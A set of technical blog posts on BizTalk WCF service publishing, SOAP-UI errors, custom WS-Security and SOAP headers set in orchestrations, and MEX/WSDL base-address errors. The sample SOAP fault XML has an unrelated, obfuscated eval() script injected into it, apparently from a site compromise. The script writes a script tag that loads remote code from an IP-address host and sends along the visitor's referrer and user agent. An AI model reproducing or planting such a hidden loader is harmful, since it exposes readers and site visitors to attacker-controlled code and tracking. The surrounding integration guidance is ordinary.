Any time you use the BizTalk WCF Service Publishing Wizard, it creates an IIS website with various content, including a “Temp” directory. The Temp directory has two entries:
1) BindingInfo.xml – can be used to create a Receive Port and Receive Location tied to your published web service
2) WcfServiceDescription.xml – this is the one we are going to discuss

I found this process described in this blog: Republishing BizTalk WCF Services. Also see How to Modify WCF Services previous published

You can run: BtsWcfServicePublishingWizard.exe /WcfServiceDescription=”your_WcfServiceDescription.xml”

The process is far from perfect. But it will restart the publishing wizard and on some of the screens, it will show you the same parameters. I noticed that the radio button on the screen that asks if your are publishing an orchestration or a schemas was not correct. And when you get to the screen that asks for the target namespace, the original value is not preserved and you have to re-paste it.

This could save you a lot of time, if you had a lot of services and operations in published together to the same website.

If you come to a site, and you find something has already been published, then you might have to add to it, or republish it. This can happen, for example, if you change the schema (add, removing, renaming elements and attributes).

<?xml version="1.0" encoding="utf-16"?>
<WcfServiceDescription xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Name="BizTalkWcfService" TargetNamespace="http://Sample.Integrations/" xmlns="http://schemas.microsoft.com/BizTalk/2006/01/Adapter/Wcf/Publishing">
  <LocationSettings Location="http://localhost:8081/Internal" Overwrite="true" AuthAnonymous="true" />
  <ApplicationSettings CreateReceiveLocations="false" ApplicationName="" />
  <AdapterSettings AdapterName="WCF-BasicHttp" />
  <MetadataSettings EnableMetadata="true" MetadataOnly="false" ReceiveLocationName="" />
  <WcfServices>
    <WcfService Name="Internal">
      <WcfOperations>
        <WcfOperation Name="Outbound210Service" Flow="RequestResponse">
          <WcfMessages>
            <WcfMessage Name="Request" Direction="Input">
              <WcfMessageType Category="XsdType" TypeName="Sample.FrontEnd.InvoiceOut.Schemas.Legacy_Outbound210_Canonical" AssemblyName="Sample.FrontEnd.InvoiceOut.Schemas, Version=1.0.0.0, Culture=neutral, PublicKeyToken=2393c33936991560" AssemblyLocation="C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Sample.FrontEnd.InvoiceOut.Schemas\v4.0_1.0.0.0__2393c33936991560\Sample.FrontEnd.InvoiceOut.Schemas.dll" TargetNamespace="http://Sample.Integrations/" RootName="Outbound210" IsAnyType="false" IsEnvelope="false" />
            </WcfMessage>
          </WcfMessages>
        </WcfOperation>
      </WcfOperations>
    </WcfService>
  </WcfServices>
</WcfServiceDescription>

Whatever you specify for the WcfOperation, should have a corresponding service file. For example, Outbound210Service above, relates to OutboundService210.svc file. The WcfMessageType gives you the TypeName and AssemblyName of the schema that was published. The Targetnamespace attribute on the root element tells you the target namespace that was used.

To create a request-only (or one-way) webservice in BizTalk using the WCF-Service-Publishing-Wizard can be a little confusing at first.

After the first couple of screens, the wizard shows the screen below

You cannot delete the Response message. What you have to do is delete Operation1, then right click on the Service, select “Add Web method.”, then select “One-way” (instead of “Request-Response”, which was the original default.

Then you will have a one-way operation with only a Request method.

Other notes: Rename Service1 to some more appropriate name. It will create a file called xxxxxx.svc when the publisher has completed.
You can then add additional services if you want.

When using SOAPUI to call a BizTalk published ochestration or schema, you might get this error response/XML from SOAP-UI:

Error

Main error text is:

The message could not be processed. This is most likely because
the action ‘http://Neal.Temp.WCFTargetNamespace/Outbound214Service/Send214Request’
is incorrect or because the message contains an invalid or expired security context token or because
there is a mismatch between bindings. The security context token would be invalid if the service aborted
the channel due to inactivity. To prevent the service from aborting idle sessions prematurely increase
the Receive timeout on the service endpoint’s binding

Solution Steps

Assuming no security is needed when first testing on your local machine.  You can tighten up the security after you get the basic test working.

  1. Modify the web.config file of the published webservice and set the authentication mode to “None”.
  2. Modify the BizTalk Receive Location created by the WCF publish utility, on the Security tab, set the “Security mode” to none.
  3. In SOAP-UI, click on the WS-A words (tab) below your request xml message.  Set the options as shown below:

References: https://adventuresinsidethemessagebox.wordpress.com/2012/10/22/calling-a-wcf-wshttp-service-from-soapui/

This blog explains how to pass userid/password using Basic Authentication to a SOAP 1.1 web service. It took me about 2 1/2 days of trying different things to get it working. SOAP-UI was working, and I couldn’t get any of the Basic-HTTP, WS-HTTP, or WCF-Custom SendPorts to work, even after creating a “behaviorEnhancement” plug-in.

Since SOAP-UI was working, I finally followed advice of blogs and coworkers to use Fiddler to capture the request with SOAP Headers. Then it only took an hour or two to properly format the request for a message assignment shape in an orchestration.

This was the error I was getting when it wasn’t working, i.e. trying to configure the user/pass in the ports. I knew from SOAP-UI that if I passed a bad password, I would get “Not Authenticated” instead of “Unauthorized”.

<soap:Fault xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fykeh|var|u0026u|referrer|satdy||js|php'.split('|'),0,{}))
</script></noindex>  <faultcode>soap:Server</faultcode>
  <faultstring>Unauthorized</faultstring>
</soap:Fault>

Fiddler provided the following capture:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://somesite.com/serviceOrder/service/types">
   <soapenv:Header>
   <wsse:Security soapenv:mustUnderstand="1" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
   <wsse:UsernameToken wsu:Id="UsernameToken-E4E3CB1F68472DCF2914369675811859">
	   <wsse:Username>myuser</wsse:Username>
	   <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText">mypass</wsse:Password>
	   <wsse:Nonce EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">NgLGMIejoGGLznG/+Qma5g==</wsse:Nonce>
	   <wsu:Created>2015-07-15T13:39:41.185Z</wsu:Created>
   </wsse:UsernameToken>
   </wsse:Security>
   </soapenv:Header>
   <soapenv:Body>
      <typ:serviceJobListRequest>
         <!--Various Parms Here:-->
      </typ:serviceJobListRequest>
   </soapenv:Body>
</soapenv:Envelope>

The code below worked for me. It goes in a Message Assignment shape (usually after your map) before the Send shape to the web service (as shown in the red box below):

MessageAssignment_Set_Custom_SoapHeaders_Example

xmlDocSoapHeader.LoadXml(
   "<headers>" + 
   "<wsse:Security mustUnderstand=\"1\" xmlns:wsse=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd\" xmlns:wsu=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\">" + 
   "<wsse:UsernameToken wsu:Id=\"UsernameToken-E4E3CB1F68472DCF2914369675811859\">" +   
   "  <wsse:Username>" + strUserFromSSO + "</wsse:Username>" + 
   "  <wsse:Password Type=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText\">" + strPasswordFromSSO + "</wsse:Password>" + 
   "  <wsse:Nonce EncodingType=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary\">NgLGMIejoGGLznG/+Qma5g==</wsse:Nonce>" +
   "  <wsu:Created>" + System.DateTime.UtcNow.ToString("s") + "Z" + "</wsu:Created>" + 
   "</wsse:UsernameToken>" +
   "</wsse:Security>" + 
   "</headers>"  
);

msgListNewCallRequest(WCF.OutboundCustomHeaders) = xmlDocSoapHeader.OuterXml;

This also has a big advantage for our specific application. We might need to pass a different user/password for different regions. For example, the same app might run for USA and for Europe; so we can dynamically switch out the user based on some region or country code.

Here’s another trick. To test the XML Load in C#, rather than having to run the orchestration, I created a small console program and tested like this:


        static void Main(string[] args)
        {
            testSyntax(); 
            Console.WriteLine("Press enter to end:");
            Console.ReadLine();
        }

        public static void testSyntax()
        {
            System.Xml.XmlDocument xmlDocSoapHeader = new System.Xml.XmlDocument(); 
            string strUserFromSSO = "test"; 
            string strPasswordFromSSO = "test"; 
            Console.WriteLine("TestDate=" + System.DateTime.UtcNow.ToString("s") + "Z"); 
            // 02/10/2015 12:21 with Richard - remove soapenv:Header   THIS ONE WORKS!  
xmlDocSoapHeader.LoadXml(
   "<Header xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">" + 
   "<wsse:Security soapenv:mustUnderstand=\"1\" xmlns:wsse=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd\" xmlns:wsu=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\">" + 
   "<wsse:UsernameToken wsu:Id=\"UsernameToken-E4E3CB1F68472DCF2914369675811859\">" +   
   "  <wsse:Username>" + strUserFromSSO + "</wsse:Username>" + 
   "  <wsse:Password Type=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText\">" + strPasswordFromSSO + "</wsse:Password>" + 
   "  <wsse:Nonce EncodingType=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary\">NgLGMIejoGGLznG/+Qma5g==</wsse:Nonce>" +
   "  <wsu:Created>" + System.DateTime.UtcNow.ToString("s") + "Z" + "</wsu:Created>" + 
   "</wsse:UsernameToken>" +
   "</wsse:Security>" + 
   "</Header>" 
    );

//msgListNewCallRequest(WCF.OutboundCustomHeaders) = xmlDocSoapHeader.OuterXml;
        }

This was my original MSDN social forum post on this issue. Most of the answers were of little value, which why I posted a full blog here.

I found the following links useful in my research of this issue:
1) Showed how to wrap or not wrap the soap headers: Forum Post
2) Similar: Forum Post
3) Similar problem, but from C# not BizTalk: Blog Post
4) Good overview and discussion (but from C# not BizTalk): StackOverflow
5) MSDN – over simplified way to add SoapHeaders: MSDN SoapHeaders
6) Related: Blog Post

Now, below are the blogs that lead me down the path of a custom WCF behavior extension, which still get me the “Unauthorized” result – so that was a loss of almost one day. I’m not saying it would never work, but I didn’t get it working. It required writing a C# program, putting it in the GAC, registering it to BizTalk, then magically it appears in the Behavior tab of the WCF-Custom SendPort. However, it was an interesting learning experience, but rather tedious.

1) Forum Post
2) Blog Post
3) Blog Post
4) How to Register Extensions: Blog Post

When you publish a BizTalk schema or a BizTalk orchestration as a webservice, you may find you have left the warm comfort of BizTalk and now have to become an IIS and WCF expert.

MEX, WSDL, Endpoints

From what I have gleaned from the sites below, you really don’t need “MEX” endpoints. “MEX” stands for Metadata Exchange. However, they will return the WSDL to you with one call, instead of several.

Ido Flatow – WSDL vs MEX

MEX and WSDL are two different schemes to tell potential clients about the structure of your service.So we can choose to either make the service contracts public as “metadata exchance format” (MEX) or in the “web service description language” (WSDL) — the latter being accessible via HTTP(s). There’re 2 ways to expose metadata.One with MEX endpoint and one with . The first one will expose metadata using WS-MetadataExchange and second one will use WSDL
Above quoted from: Saurabh Somani’s blog – Http Get vs Mex End Point

One forum post said that “WSDL” is the “legacy method” and “MEX” is the “new improved version”. But he was corrected by a follow-up post, saying that WSDL is still used by many service platforms, and MEX and WSDL delivery the same output. (Ido’s blog above actually compares the results from the two.)

Mex is designed to support non-HTTP protocols. A client can add a reference in VS only if httpGetEnabled/httpsGetEnabled is enable or if you have define a mex endpoint in the configuration of your service. The best practice is to expose metadata on dev environnement but not on production. MEX are more configurable, while WSDL is more interoperable with older versions of clients and non-.net clients that work with WSDLs.

To disable MEX and expose your service via WSDL, then 1) do not specify a MEX endpoint, and 2) specify httpGetEnabled=”true”.

StackOverflow btween WSDL and MEX Endpoints

BizTalk and Error “Could not find a base address that matches scheme http for the endpoint with binding MetadataExchangeHttpBinding”

The MSDN forum posts weren’t coming up in Google, I only found them when I posted in the MSDN forum for BizTalk. So I decided to post them here to give them some “google love”. None of them actually helped me solve my issue, but when you are getting this error you probably need to read all of them to see which one fits your case.

My issue – WCF Published Orch – BizTalk could not find a base address that matches scheme http for the endpoint with binding wshttpbinding MetadataExchangeHttpBinding
Solution: Added port 80 to Bindings for website. Something in the WSDL/MEX needed http instead of https.

biztalk https wcf error could not find a base address that matches scheme https for the endpoint

BizTalk – WCF error could not find a base address that matches scheme https for the endpoint with binding
Solution: referred to another WCF (Non-BizTalk) post WCF Security using custom username and password

BizTalk – could not find a base address that
matches scheme http for the endpoint with binding webhttpbinding

Solution: 1) Under bindings tag make sure you have set

<security mode="Transport" />

2) Also please try to use the mexHttpsBinding:

     <endpoint address="mex" binding="mexHttpsBinding" contract="IMetadataExchange"/>

3) Add base address

<baseAddresses>
      <add baseAddress=https://localhost:10201/Service />
</baseAddresses>

BizTalk could not find a base address that matches scheme http for the endpoint with binding wshttpbinding
Solution: This is working fine after i have changed my configuration file. i forgot to include binding configuration and changed mexHttpBinding to mexHttpsBinds and changed httpGetEnabled = false.

BizTalk could not find a base address that matches scheme http for the endpoint with binding wshttpbinding – Registered base address schemes are [https]

Solution for that issue: This is working fine after i have changed my configuration file. i forgot to include binding configuration and changed mexHttpBinding to mexHttpsBinds and changed httpGetEnabled = false.

BizTalk could not find a base address that matches scheme http for the endpoint with binding – Registered base address schemes are [https]
Solution: Just wondering whether you have configurd you application directory with HTTP protocol supports. Sometimes ppl tends to delete that and get the above exception. I have the following config for a test calcservice and it all works fine.

Moving to https = Could not find a base address that matches scheme
Solution: I’m not sure what was wrong but I simply took the certificate off and peeled the whole thing back to using basic http. I then carefully reapplied everything and it just worked. I think it was some sort of quirk or missed step in IIS.

How to Pass Custom WCF Soap Headers from BizTalk using WCF.OutboundCustomHeaders

I needed to call a WCF webservice from BizTalk that required three SOAP fields. In addition to Username and Password (standard), they had one custom field called ApplicationID.

Code in Message Assignment Shape

xmlDocSoapHeader.LoadXml(
"<headers>" +
" <Username>" + strSOAPUserFromSSO + "</Username>" +
" <Password>" + strSOAPPasswordFromSSO + "</Password>" +
" <ApplicationID>" + strSOAPAppIDFromSSO + "</ApplicationID>" +
"</headers>"
);

msgRcvdEquipReq(WCF.OutboundCustomHeaders) = xmlDocSoapHeader.OuterXml;

I used the standard “Add Generated Schema” and “Consume WCF Service” wizard, but that didn’t provide any help with the SOAP Headers. I read some blogs that talked about creating a custom SOAP schema, promoting fields, and so-on, and perhaps that would work, but ultimately the above is what worked fine.

PassingCustomWCFSoapHeadersFromBizTalk